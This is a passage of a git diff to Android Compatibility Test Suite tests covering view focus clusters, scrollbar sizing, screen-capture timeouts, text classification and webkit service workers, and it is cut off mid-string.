diff --git a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
index 8e478a8..2c88b25 100644
--- a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
@@ -77,7 +77,8 @@
vc.getScaledOverscrollDistance();
vc.getScaledPagingTouchSlop();
vc.getScaledScrollBarSize();
- vc.getScaledScrollFactor();
+ vc.getScaledHorizontalScrollFactor();
+ vc.getScaledVerticalScrollFactor();
vc.getScaledTouchSlop();
vc.getScaledWindowTouchSlop();
vc.hasPermanentMenuKey();
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupTest.java b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
index 95b8491..0c12579 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
@@ -29,7 +29,6 @@
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
-import android.annotation.NonNull;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
@@ -44,6 +43,7 @@
import android.graphics.drawable.BitmapDrawable;
import android.os.Parcelable;
import android.os.SystemClock;
+import android.support.annotation.NonNull;
import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.LargeTest;
@@ -1662,6 +1662,28 @@
@UiThreadTest
@Test
+ public void testFocusInClusterFocusableChanges() {
+ TestClusterHier h = new TestClusterHier();
+ h.cluster1.setKeyboardNavigationCluster(false);
+ h.c1view2.setFocusedInCluster();
+ h.c2view1.requestFocus();
+ assertSame(h.top.findFocus(), h.c2view1);
+ assertTrue(h.top.restoreFocusNotInCluster());
+ assertSame(h.top.findFocus(), h.c1view2);
+ h.c1view1.setFocusable(false);
+ // making it invisible should clear focusNotInCluster chain
+ h.c1view2.setVisibility(View.INVISIBLE);
+ assertFalse(h.top.restoreFocusNotInCluster());
+ h.c1view2.setVisibility(View.VISIBLE);
+ h.c1view2.requestFocus();
+ h.c1view2.setFocusedInCluster();
+ h.c2view1.setFocusable(false);
+ h.c2view2.setFocusable(false);
+ assertFalse(h.cluster2.restoreFocusInCluster(View.FOCUS_DOWN));
+ }
+
+ @UiThreadTest
+ @Test
public void testRestoreDefaultFocus() {
TestClusterHier h = new TestClusterHier();
h.c1view2.setFocusedByDefault(true);
diff --git a/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java b/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
index e82cf37..8cd0d37 100644
--- a/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
@@ -18,12 +18,12 @@
import static org.junit.Assert.assertEquals;
-import android.annotation.NonNull;
import android.content.Context;
import android.graphics.Color;
import android.graphics.Outline;
import android.graphics.Rect;
import android.graphics.drawable.ColorDrawable;
+import android.support.annotation.NonNull;
import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.SmallTest;
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 2550915..831aa15 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -103,7 +103,6 @@
import com.android.compatibility.common.util.CtsMouseUtil;
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
-import com.android.internal.view.menu.ContextMenuBuilder;
import org.junit.Before;
import org.junit.Rule;
@@ -1074,21 +1073,22 @@
}
@Test
- public void testCreateContextMenu() {
- View.OnCreateContextMenuListener listener = mock(View.OnCreateContextMenuListener.class);
- MockView view = new MockView(mActivity);
- ContextMenu contextMenu = new ContextMenuBuilder(mActivity);
- view.setParent(mMockParent);
- view.setOnCreateContextMenuListener(listener);
- assertFalse(view.hasCalledOnCreateContextMenu());
- assertFalse(mMockParent.hasCreateContextMenu());
- verifyZeroInteractions(listener);
+ public void testCreateContextMenu() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ View.OnCreateContextMenuListener listener =
+ mock(View.OnCreateContextMenuListener.class);
+ MockView view = new MockView(mActivity);
+ mActivity.setContentView(view);
+ mActivity.registerForContextMenu(view);
+ view.setOnCreateContextMenuListener(listener);
+ assertFalse(view.hasCalledOnCreateContextMenu());
+ verifyZeroInteractions(listener);
- view.createContextMenu(contextMenu);
- assertTrue(view.hasCalledOnCreateContextMenu());
- assertTrue(mMockParent.hasCreateContextMenu());
- verify(listener, times(1)).onCreateContextMenu(
- eq(contextMenu), eq(view), any());
+ view.showContextMenu();
+ assertTrue(view.hasCalledOnCreateContextMenu());
+ verify(listener, times(1)).onCreateContextMenu(
+ any(), eq(view), any());
+ });
}
@Test(expected=NullPointerException.class)
@@ -1226,32 +1226,36 @@
}
@Test
- public void testKeyboardNavigationClusterSearch() {
- mMockParent.setIsRootNamespace(true);
- View v1 = new MockView(mActivity);
- v1.setFocusableInTouchMode(true);
- View v2 = new MockView(mActivity);
- v2.setFocusableInTouchMode(true);
- mMockParent.addView(v1);
- mMockParent.addView(v2);
+ public void testKeyboardNavigationClusterSearch() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ ViewGroup decorView = (ViewGroup) mActivity.getWindow().getDecorView();
+ decorView.removeAllViews();
+ View v1 = new MockView(mActivity);
+ v1.setFocusableInTouchMode(true);
+ View v2 = new MockView(mActivity);
+ v2.setFocusableInTouchMode(true);
+ decorView.addView(v1);
+ decorView.addView(v2);
- // Searching for clusters.
- v1.setKeyboardNavigationCluster(true);
- v2.setKeyboardNavigationCluster(true);
- assertEquals(v2, mMockParent.keyboardNavigationClusterSearch(v1, View.FOCUS_FORWARD));
- assertEquals(v1, mMockParent.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
- assertEquals(v2, mMockParent.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
- assertEquals(v2, v1.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
- assertEquals(mMockParent, v1.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
- assertEquals(mMockParent, v2.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
- assertEquals(v1, v2.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
+ // Searching for clusters.
+ v1.setKeyboardNavigationCluster(true);
+ v2.setKeyboardNavigationCluster(true);
+ assertEquals(v2, decorView.keyboardNavigationClusterSearch(v1, View.FOCUS_FORWARD));
+ assertEquals(v1, decorView.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+ assertEquals(v2, decorView.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
+ assertEquals(v2, v1.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+ assertEquals(decorView, v1.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
+ assertEquals(decorView, v2.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+ assertEquals(v1, v2.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
- // Clusters in 3-level hierarchy.
- ViewGroup root = new MockViewParent(mActivity);
- root.setIsRootNamespace(true);
- mMockParent.setIsRootNamespace(false);
- root.addView(mMockParent);
- assertEquals(root, v2.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+ // Clusters in 3-level hierarchy.
+ decorView.removeAllViews();
+ LinearLayout middle = new LinearLayout(mActivity);
+ middle.addView(v1);
+ middle.addView(v2);
+ decorView.addView(middle);
+ assertEquals(decorView, v2.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+ });
}
@Test
@@ -3661,6 +3665,67 @@
}
@Test
+ public void testScrollbarSize() {
+ final int configScrollbarSize = ViewConfiguration.get(mActivity).getScaledScrollBarSize();
+ final int customScrollbarSize = configScrollbarSize * 2;
+
+ // No explicit scrollbarSize or custom drawables, ViewConfiguration applies.
+ final MockView view = (MockView) mActivity.findViewById(R.id.scroll_view);
+ assertEquals(configScrollbarSize, view.getScrollBarSize());
+ assertEquals(configScrollbarSize, view.getVerticalScrollbarWidth());
+ assertEquals(configScrollbarSize, view.getHorizontalScrollbarHeight());
+
+ // No custom drawables, explicit scrollbarSize takes precedence.
+ final MockView view2 = (MockView) mActivity.findViewById(R.id.scroll_view_2);
+ view2.setScrollBarSize(customScrollbarSize);
+ assertEquals(customScrollbarSize, view2.getScrollBarSize());
+ assertEquals(customScrollbarSize, view2.getVerticalScrollbarWidth());
+ assertEquals(customScrollbarSize, view2.getHorizontalScrollbarHeight());
+
+ // Custom drawables with no intrinsic size, ViewConfiguration applies.
+ final MockView view3 = (MockView) mActivity.findViewById(R.id.scroll_view_3);
+ assertEquals(configScrollbarSize, view3.getVerticalScrollbarWidth());
+ assertEquals(configScrollbarSize, view3.getHorizontalScrollbarHeight());
+ // Explicit scrollbarSize takes precedence.
+ view3.setScrollBarSize(customScrollbarSize);
+ assertEquals(view3.getScrollBarSize(), view3.getVerticalScrollbarWidth());
+ assertEquals(view3.getScrollBarSize(), view3.getHorizontalScrollbarHeight());
+
+ // Custom thumb drawables with intrinsic sizes define the scrollbars' dimensions.
+ final MockView view4 = (MockView) mActivity.findViewById(R.id.scroll_view_4);
+ final Resources res = mActivity.getResources();
+ final int thumbWidth = res.getDimensionPixelSize(R.dimen.scrollbar_thumb_width);
+ final int thumbHeight = res.getDimensionPixelSize(R.dimen.scrollbar_thumb_height);
+ assertEquals(thumbWidth, view4.getVerticalScrollbarWidth());
+ assertEquals(thumbHeight, view4.getHorizontalScrollbarHeight());
+ // Explicit scrollbarSize has no effect.
+ view4.setScrollBarSize(customScrollbarSize);
+ assertEquals(thumbWidth, view4.getVerticalScrollbarWidth());
+ assertEquals(thumbHeight, view4.getHorizontalScrollbarHeight());
+
+ // Custom thumb and track drawables with intrinsic sizes. Track size take precedence.
+ final MockView view5 = (MockView) mActivity.findViewById(R.id.scroll_view_5);
+ final int trackWidth = res.getDimensionPixelSize(R.dimen.scrollbar_track_width);
+ final int trackHeight = res.getDimensionPixelSize(R.dimen.scrollbar_track_height);
+ assertEquals(trackWidth, view5.getVerticalScrollbarWidth());
+ assertEquals(trackHeight, view5.getHorizontalScrollbarHeight());
+ // Explicit scrollbarSize has no effect.
+ view5.setScrollBarSize(customScrollbarSize);
+ assertEquals(trackWidth, view5.getVerticalScrollbarWidth());
+ assertEquals(trackHeight, view5.getHorizontalScrollbarHeight());
+
+ // Custom thumb and track, track with no intrinsic size, ViewConfiguration applies
+ // regardless of the thumb drawable dimensions.
+ final MockView view6 = (MockView) mActivity.findViewById(R.id.scroll_view_6);
+ assertEquals(configScrollbarSize, view6.getVerticalScrollbarWidth());
+ assertEquals(configScrollbarSize, view6.getHorizontalScrollbarHeight());
+ // Explicit scrollbarSize takes precedence.
+ view6.setScrollBarSize(customScrollbarSize);
+ assertEquals(customScrollbarSize, view6.getVerticalScrollbarWidth());
+ assertEquals(customScrollbarSize, view6.getHorizontalScrollbarHeight());
+ }
+
+ @Test
public void testOnStartAndFinishTemporaryDetach() throws Throwable {
final AtomicBoolean exitedDispatchStartTemporaryDetach = new AtomicBoolean(false);
final AtomicBoolean exitedDispatchFinishTemporaryDetach = new AtomicBoolean(false);
diff --git a/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java b/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
index 783d9ca..7f062ad 100644
--- a/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
+++ b/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
@@ -21,7 +21,6 @@
import android.app.Activity;
import android.content.res.ColorStateList;
-import android.content.res.Resources;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
@@ -53,7 +52,9 @@
@Test
public void testSettersAndGetters() {
Activity activity = mActivityRule.getActivity();
- if (!isDefaultFocusHighlightEnabled(activity)) {
+ if (!activity.getResources().getBoolean(
+ com.android.internal.R.bool.config_useDefaultFocusHighlight)) {
+ // Skip the test when config_useDefaultFocusHighlight is false
return;
}
@@ -86,7 +87,9 @@
@Test
public void testInflating() {
Activity activity = mActivityRule.getActivity();
- if (!isDefaultFocusHighlightEnabled(activity)) {
+ if (!activity.getResources().getBoolean(
+ com.android.internal.R.bool.config_useDefaultFocusHighlight)) {
+ // Skip the test when config_useDefaultFocusHighlight is false
return;
}
@@ -108,7 +111,9 @@
@Test
public void testIsDefaultFocusHighlightNeeded() {
Activity activity = mActivityRule.getActivity();
- if (!isDefaultFocusHighlightEnabled(activity)) {
+ if (!activity.getResources().getBoolean(
+ com.android.internal.R.bool.config_useDefaultFocusHighlight)) {
+ // Skip the test when config_useDefaultFocusHighlight is false
return;
}
@@ -116,7 +121,7 @@
final ImageView imageView =
(ImageView) activity.findViewById(R.id.image_view_to_test_highlight_needed);
- final Drawable[] drawables = new Drawable[]{
+ final Drawable[] drawables = new Drawable[] {
null, // null
new ColorDrawable(Color.WHITE), // not stateful
new RippleDrawable(ColorStateList.valueOf(Color.WHITE), null, null) // stateful
@@ -162,9 +167,4 @@
}
}
}
-
- private boolean isDefaultFocusHighlightEnabled(Activity activity) {
- return activity.getResources().getBoolean(Resources.getSystem().getIdentifier(
- "config_useDefaultFocusHighlight", "bool", "android"));
- }
}
diff --git a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
index acfe6ed..21fdd89 100644
--- a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
+++ b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
@@ -33,12 +33,10 @@
import android.view.KeyEvent;
import android.view.View;
import android.view.ViewGroup;
-import android.view.ViewRootImpl;
import android.widget.Button;
import android.widget.FrameLayout;
import android.widget.LinearLayout;
-import org.junit.Assume;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -153,7 +151,7 @@
v2.setVisibility(View.VISIBLE);
v3.setVisibility(View.VISIBLE);
v4.setVisibility(View.VISIBLE);
- assertEquals(ViewRootImpl.sAlwaysAssignFocus, v1.isFocused());
+ assertEquals(true, v1.isFocused());
assertFalse(v2.isFocused());
assertFalse(v3.isFocused());
assertFalse(v4.isFocused());
@@ -344,32 +342,6 @@
return new View[]{initial, first};
}
- @Test
- public void testNoInitialFocus() throws Throwable {
- Assume.assumeFalse(ViewRootImpl.sAlwaysAssignFocus);
- Activity activity = mActivityRule.getActivity();
- View[] result = getInitialAndFirstFocus(R.layout.focus_handling_focusables);
- assertNull(result[0]);
- assertSame(result[1], activity.findViewById(R.id.focusable1));
- }
-
- @Test
- public void testDefaultFocus() throws Throwable {
- Assume.assumeFalse(ViewRootImpl.sAlwaysAssignFocus);
- Activity activity = mActivityRule.getActivity();
- View[] result = getInitialAndFirstFocus(R.layout.focus_handling_default_focus);
- assertNull(result[0]);
- assertSame(result[1], activity.findViewById(R.id.focusable2));
- }
-
- @Test
- public void testInitialFocus() throws Throwable {
- Assume.assumeFalse(ViewRootImpl.sAlwaysAssignFocus);
- Activity activity = mActivityRule.getActivity();
- View[] result = getInitialAndFirstFocus(R.layout.focus_handling_initial_focus);
- assertSame(result[0], activity.findViewById(R.id.focusable3));
- }
-
@UiThreadTest
@Test
public void testFocusAfterDescendantsTransfer() throws Throwable {
diff --git a/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 1a24fae..4fc5e04 100644
--- a/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -59,7 +59,6 @@
}
private static final String TAG = "CapturedActivity";
- private static final long TIME_OUT_MS = 25000;
private static final int PERMISSION_CODE = 1;
private MediaProjectionManager mProjectionManager;
private MediaProjection mMediaProjection;
@@ -67,30 +66,32 @@
private SurfacePixelValidator mSurfacePixelValidator;
- public static final long CAPTURE_DURATION_MS = 10000;
private static final int PERMISSION_DIALOG_WAIT_MS = 1000;
private static final int RETRY_COUNT = 2;
private static final long START_CAPTURE_DELAY_MS = 4000;
- private static final long END_CAPTURE_DELAY_MS = START_CAPTURE_DELAY_MS + CAPTURE_DURATION_MS;
- private static final long END_DELAY_MS = END_CAPTURE_DELAY_MS + 1000;
private static final String ACCEPT_RESOURCE_ID = "android:id/button1";
private MediaPlayer mMediaPlayer;
private final Handler mHandler = new Handler(Looper.getMainLooper());
+ private volatile boolean mOnEmbedded;
private volatile boolean mOnWatch;
private CountDownLatch mCountDownLatch;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- mOnWatch = getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+ final PackageManager packageManager = getPackageManager();
+ mOnWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH);
if (mOnWatch) {
// Don't try and set up test/capture infrastructure - they're not supported
return;
}
+ // Embedded devices are significantly slower, and are given
+ // longer duration to capture the expected number of frames
+ mOnEmbedded = packageManager.hasSystemFeature(PackageManager.FEATURE_EMBEDDED);
getWindow().getDecorView().setSystemUiVisibility(
View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_FULLSCREEN);
@@ -155,6 +156,10 @@
mCountDownLatch.countDown();
}
+ public long getCaptureDurationMs() {
+ return mOnEmbedded ? 100000 : 10000;
+ }
+
public TestResult runTest(AnimationTestCase animationTestCase) throws Throwable {
TestResult testResult = new TestResult();
if (mOnWatch) {
@@ -170,6 +175,10 @@
return testResult;
}
+ final long timeOutMs = mOnEmbedded ? 125000 : 25000;
+ final long endCaptureDelayMs = START_CAPTURE_DELAY_MS + getCaptureDurationMs();
+ final long endDelayMs = endCaptureDelayMs + 1000;
+
int count = 0;
// Sometimes system decides to rotate the permission activity to another orientation
// right after showing it. This results in: uiautomation thinks that accept button appears,
@@ -180,7 +189,7 @@
assertTrue("Can't get the permission", count <= RETRY_COUNT);
dismissPermissionDialog();
count++;
- } while (!mCountDownLatch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
+ } while (!mCountDownLatch.await(timeOutMs, TimeUnit.MILLISECONDS));
mHandler.post(() -> {
Log.d(TAG, "Setting up test case");
@@ -229,7 +238,7 @@
Log.d(TAG, "Stopping capture");
mVirtualDisplay.release();
mVirtualDisplay = null;
- }, END_CAPTURE_DELAY_MS);
+ }, endCaptureDelayMs);
final CountDownLatch latch = new CountDownLatch(1);
mHandler.postDelayed(() -> {
@@ -238,9 +247,9 @@
mSurfacePixelValidator.finish(testResult);
latch.countDown();
mSurfacePixelValidator = null;
- }, END_DELAY_MS);
+ }, endDelayMs);
- boolean latchResult = latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS);
+ boolean latchResult = latch.await(timeOutMs, TimeUnit.MILLISECONDS);
if (!latchResult) {
testResult.passFrames = 0;
testResult.failFrames = 1000;
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index f9c86cc..71ca678 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -17,14 +17,19 @@
package android.view.textclassifier.cts;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
import static org.mockito.Mockito.mock;
import android.os.LocaleList;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.view.textclassifier.TextClassification;
import android.view.textclassifier.TextClassificationManager;
import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextSelection;
import org.junit.Before;
import org.junit.Test;
@@ -35,33 +40,82 @@
public class TextClassificationManagerTest {
private static final LocaleList LOCALES = LocaleList.forLanguageTags("en");
+ private static final int START = 1;
+ private static final int END = 3;
+ private static final String TEXT = "text";
- private TextClassificationManager mTcm;
+ private TextClassificationManager mManager;
private TextClassifier mClassifier;
@Before
public void setup() {
- mTcm = InstrumentationRegistry.getTargetContext()
+ mManager = InstrumentationRegistry.getTargetContext()
.getSystemService(TextClassificationManager.class);
- mTcm.setTextClassifier(null); // Resets the classifier.
- mClassifier = mTcm.getTextClassifier();
+ mManager.setTextClassifier(null); // Resets the classifier.
+ mClassifier = mManager.getTextClassifier();
}
@Test
- public void testSmartSelectionDoesNotThrowException() {
- mClassifier.suggestSelection("text", 2, 3, LOCALES);
+ public void testSmartSelection() {
+ assertValidResult(mClassifier.suggestSelection(TEXT, START, END, LOCALES));
}
@Test
- public void testClassifyTextDoesNotThrowException() {
- mClassifier.classifyText("text", 2, 3, LOCALES);
+ public void testClassifyText() {
+ assertValidResult(mClassifier.classifyText(TEXT, START, END, LOCALES));
+ }
+
+ @Test
+ public void testNoOpClassifier() {
+ mManager.setTextClassifier(TextClassifier.NO_OP);
+ mClassifier = mManager.getTextClassifier();
+
+ final TextSelection selection = mClassifier.suggestSelection(TEXT, START, END, LOCALES);
+ assertValidResult(selection);
+ assertEquals(START, selection.getSelectionStartIndex());
+ assertEquals(END, selection.getSelectionEndIndex());
+ assertEquals(0, selection.getEntityCount());
+
+ final TextClassification classification =
+ mClassifier.classifyText(TEXT, START, END, LOCALES);
+ assertValidResult(classification);
+ assertNull(classification.getText());
+ assertEquals(0, classification.getEntityCount());
+ assertNull(classification.getIcon());
+ assertNull(classification.getLabel());
+ assertNull(classification.getIntent());
+ assertNull(classification.getOnClickListener());
}
@Test
public void testSetTextClassifier() {
- TextClassifier classifier = mock(TextClassifier.class);
- mTcm.setTextClassifier(classifier);
- assertEquals(classifier, mTcm.getTextClassifier());
+ final TextClassifier classifier = mock(TextClassifier.class);
+ mManager.setTextClassifier(classifier);
+ assertEquals(classifier, mManager.getTextClassifier());
+ }
+
+ private static void assertValidResult(TextSelection selection) {
+ assertNotNull(selection);
+ assertTrue(selection.getEntityCount() >= 0);
+ for (int i = 0; i < selection.getEntityCount(); i++) {
+ final String entity = selection.getEntity(i);
+ assertNotNull(entity);
+ final float confidenceScore = selection.getConfidenceScore(entity);
+ assertTrue(confidenceScore >= 0);
+ assertTrue(confidenceScore <= 1);
+ }
+ }
+
+ private static void assertValidResult(TextClassification classification) {
+ assertNotNull(classification);
+ assertTrue(classification.getEntityCount() >= 0);
+ for (int i = 0; i < classification.getEntityCount(); i++) {
+ final String entity = classification.getEntity(i);
+ assertNotNull(entity);
+ final float confidenceScore = classification.getConfidenceScore(entity);
+ assertTrue(confidenceScore >= 0);
+ assertTrue(confidenceScore <= 1);
+ }
}
}
diff --git a/tests/tests/voiceinteraction/Android.mk b/tests/tests/voiceinteraction/Android.mk
index cbb874a..b83f4e9 100644
--- a/tests/tests/voiceinteraction/Android.mk
+++ b/tests/tests/voiceinteraction/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsVoiceInteractionTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/voiceinteraction/AndroidTest.xml b/tests/tests/voiceinteraction/AndroidTest.xml
index cdac41f..fd970f7 100644
--- a/tests/tests/voiceinteraction/AndroidTest.xml
+++ b/tests/tests/voiceinteraction/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Config for CTS Voice Interaction test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsVoiceInteractionService.apk" />
diff --git a/tests/tests/voiceinteraction/service/Android.mk b/tests/tests/voiceinteraction/service/Android.mk
index b8d3aa8..0b504d8 100644
--- a/tests/tests/voiceinteraction/service/Android.mk
+++ b/tests/tests/voiceinteraction/service/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsVoiceInteractionService
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/voiceinteraction/testapp/Android.mk b/tests/tests/voiceinteraction/testapp/Android.mk
index aa40e53..1c37e51 100644
--- a/tests/tests/voiceinteraction/testapp/Android.mk
+++ b/tests/tests/voiceinteraction/testapp/Android.mk
@@ -30,6 +30,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
index 1ef6a5c..dbfb031 100644
--- a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
+++ b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
@@ -34,6 +34,7 @@
import android.util.Log;
import java.util.ArrayList;
+import java.util.Arrays;
import android.voiceinteraction.common.Utils;
@@ -98,7 +99,7 @@
case SUPPORTS_COMMANDS_TEST:
String[] commands = {Utils.TEST_COMMAND};
boolean[] supported = mInteractor.supportsCommands(commands);
- Log.i(TAG, "from supportsCommands: " + supported);
+ Log.i(TAG, "from supportsCommands: " + Arrays.toString(supported));
if (supported.length == 1 && supported[0]) {
addTestResult(Utils.SUPPORTS_COMMANDS_SUCCESS);
} else {
diff --git a/tests/tests/voicesettings/Android.mk b/tests/tests/voicesettings/Android.mk
index c554470..cad36cb 100644
--- a/tests/tests/voicesettings/Android.mk
+++ b/tests/tests/voicesettings/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsVoiceSettingsTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/voicesettings/AndroidTest.xml b/tests/tests/voicesettings/AndroidTest.xml
index be1a4a9..421dfb7 100644
--- a/tests/tests/voicesettings/AndroidTest.xml
+++ b/tests/tests/voicesettings/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Voice Settings test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsVoiceSettingsService.apk" />
diff --git a/tests/tests/voicesettings/service/Android.mk b/tests/tests/voicesettings/service/Android.mk
index 6f246bd..d53c52b 100644
--- a/tests/tests/voicesettings/service/Android.mk
+++ b/tests/tests/voicesettings/service/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsVoiceSettingsService
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/webkit/Android.mk b/tests/tests/webkit/Android.mk
index 2385647..c56f00e 100644
--- a/tests/tests/webkit/Android.mk
+++ b/tests/tests/webkit/Android.mk
@@ -34,7 +34,7 @@
LOCAL_PACKAGE_NAME := CtsWebkitTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# uncomment when dalvik.annotation.Test* are removed or part of SDK
#LOCAL_SDK_VERSION := current
diff --git a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
index 843e214..799545a 100644
--- a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
@@ -22,7 +22,6 @@
import android.webkit.WebView;
import android.webkit.ValueCallback;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
@@ -34,7 +33,6 @@
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-@CddTest(requirement="3.4.1/H-0-1,A-0-1,T-0-1")
public class CookieManagerTest extends
ActivityInstrumentationTestCase2<CookieSyncManagerCtsActivity> {
diff --git a/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerClientTest.java b/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerClientTest.java
index 1e9f5e8..ac736cf 100644
--- a/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerClientTest.java
@@ -57,13 +57,22 @@
+ " <script>\n"
+ " navigator.serviceWorker.register('sw.js').then(function(reg) {\n"
+ " " + JS_INTERFACE_NAME + ".registrationSuccess();\n"
- + " }).catch(function(err) { \n"
+ + " }).catch(function(err) {\n"
+ " console.error(err);\n"
+ " });\n"
+ " </script>\n"
+ " </body>\n"
+ "</html>\n";
private static final String SW_RAW_HTML = "fetch('fetch.html');";
+ private static final String SW_UNREGISTER_RAW_JS =
+ "navigator.serviceWorker.getRegistration().then(function(r) {"
+ + " r.unregister().then(function(success) {"
